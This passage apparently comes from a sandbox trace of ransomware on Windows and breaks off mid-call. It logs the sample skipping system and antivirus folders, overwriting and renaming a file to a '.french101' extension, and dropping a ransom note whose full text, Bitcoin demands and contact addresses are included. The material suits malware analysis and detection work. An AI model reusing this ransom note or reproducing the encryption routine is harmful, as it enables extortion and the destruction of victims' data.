lpMultiByteStr=0x3f39ba0, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0276.944] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.944] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.944] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.944] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.944] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0276.944] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.944] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.944] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0276.945] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.945] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0276.945] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0276.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0276.945] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0276.945] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0276.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0276.945] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0276.945] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0276.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0276.945] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0276.945] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0276.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39b70, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0276.945] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.945] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.945] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.945] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.945] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0277.005] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.005] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.006] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0277.006] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.006] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0277.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0277.006] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0277.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0277.006] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0277.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0277.006] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0277.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0277.006] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0277.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0277.006] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0277.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0277.007] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0277.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0277.007] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0277.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0277.007] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0277.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0277.007] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0277.007] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0277.007] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0277.007] SHGetPathFromIDListW (in: pidl=0x6e46a8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0277.007] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0277.007] IMalloc:Free (This=0x75e4d000, pv=0x6e46a8) [0277.007] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0277.008] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0277.008] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.008] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.008] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.008] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.008] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0277.008] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.008] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.008] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0277.008] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.008] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da350 [0277.008] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.009] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.009] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0277.009] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.009] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.009] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.009] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.009] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.009] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.009] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.009] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.009] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.009] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.009] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.009] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0277.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0277.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0277.010] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0277.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0277.010] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\я" (normalized: "c:\\588bce7c90097ed212\\1030\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.030] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0277.031] CloseHandle (hObject=0x308) returned 1 [0277.032] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\я" (normalized: "c:\\588bce7c90097ed212\\1030\\я")) returned 1 [0277.033] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0277.033] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0277.033] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0277.033] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0277.033] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf", dwFileAttributes=0x20) returned 1 [0277.034] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.034] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.034] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xcf2 [0277.034] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.034] SetFilePointer (in: hFile=0x308, lDistanceToMove=3314, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xcf2 [0277.034] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0277.037] CloseHandle (hObject=0x308) returned 1 [0277.038] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.038] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.039] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xcf3 [0277.039] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.039] SetFilePointer (in: hFile=0x308, lDistanceToMove=3314, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xcf2 [0277.039] SetEndOfFile (hFile=0x308) returned 1 [0277.044] CloseHandle (hObject=0x308) returned 1 [0277.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.044] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.044] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xcf2 [0277.044] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.045] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.045] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.045] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xcf2 [0277.045] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.045] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.046] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.046] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0277.046] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.047] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.047] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0277.047] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.047] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0277.047] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0277.047] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.047] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0277.047] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.047] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0277.047] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xcf2 [0277.048] SetFilePointer (in: hFile=0x308, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0277.048] SetFilePointer (in: hFile=0x308, lDistanceToMove=3314, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xcf2 [0277.048] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0277.066] WriteFile (in: hFile=0x308, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0277.066] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.066] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.066] CloseHandle (hObject=0x308) returned 1 [0277.067] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\hpR+GnPFxfD8T1ZyFrqwJk.french101" (normalized: "c:\\588bce7c90097ed212\\1030\\hpr+gnpfxfd8t1zyfrqwjk.french101")) returned 1 [0277.068] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\hpR+GnPFxfD8T1ZyFrqwJk.french101" (normalized: "c:\\588bce7c90097ed212\\1030\\hpr+gnpfxfd8t1zyfrqwjk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.069] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0277.069] CloseHandle (hObject=0x308) returned 1 [0277.069] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\hpR+GnPFxfD8T1ZyFrqwJk.french101", dwFileAttributes=0x80) returned 1 [0277.069] CloseHandle (hObject=0x308) returned 0 [0277.069] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.069] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.069] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.069] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.070] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0277.070] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.070] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.070] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0277.070] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.070] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0277.070] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0277.101] GetLastError () returned 0x2 [0277.101] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1030\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.101] WriteFile (in: hFile=0x35c, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0277.106] CloseHandle (hObject=0x35c) returned 1 [0277.106] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.106] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.106] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.106] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0277.106] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0277.107] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.107] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0277.107] GlobalLock 